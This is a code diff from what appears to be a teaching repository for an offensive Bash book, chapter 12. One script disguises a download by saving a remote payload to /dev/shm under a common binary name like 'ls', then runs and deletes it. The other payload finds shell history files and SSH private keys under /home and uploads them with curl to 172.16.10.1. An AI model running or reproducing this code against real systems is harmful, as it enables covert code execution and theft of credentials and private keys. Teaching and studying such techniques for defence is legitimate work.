dev null

ch12/binary_name_rotation.sh

@@ -0,0 +1,11 @@
+#!/bin/bash
+RANDOM_BIN_NAMES=("ls" "touch" "mkdir" "fdisk" "zip" "pslog" "tree" "gunzip")
+RANDOMIZE=$(( (RANDOM % 7)  + 0))
+BIN_NAME="/dev/shm/${RANDOM_BIN_NAMES[${RANDOMIZE}]}"
+
+if command -v curl; then
+    curl -s "https://raw.githubusercontent.com/dolevf/Black-Hat-Bash/master/ch12/raw_code.txt" -o "${BIN_NAME}"
+    bash "${BIN_NAME}"
+    rm "${BIN_NAME}"
+fi
+

ch12/raw_code.txt

@@ -4,4 +4,4 @@ find /home/ \
     -name ".*_history" \
     -name "id_rsa" \
     -name "id_dsa" \
-    -exec curl -F "filedata=@{}" "http://172.16.10.1" \;
+    -exec curl -F "filedata=@{}" "http://172.16.10.1" \; 2> /dev/null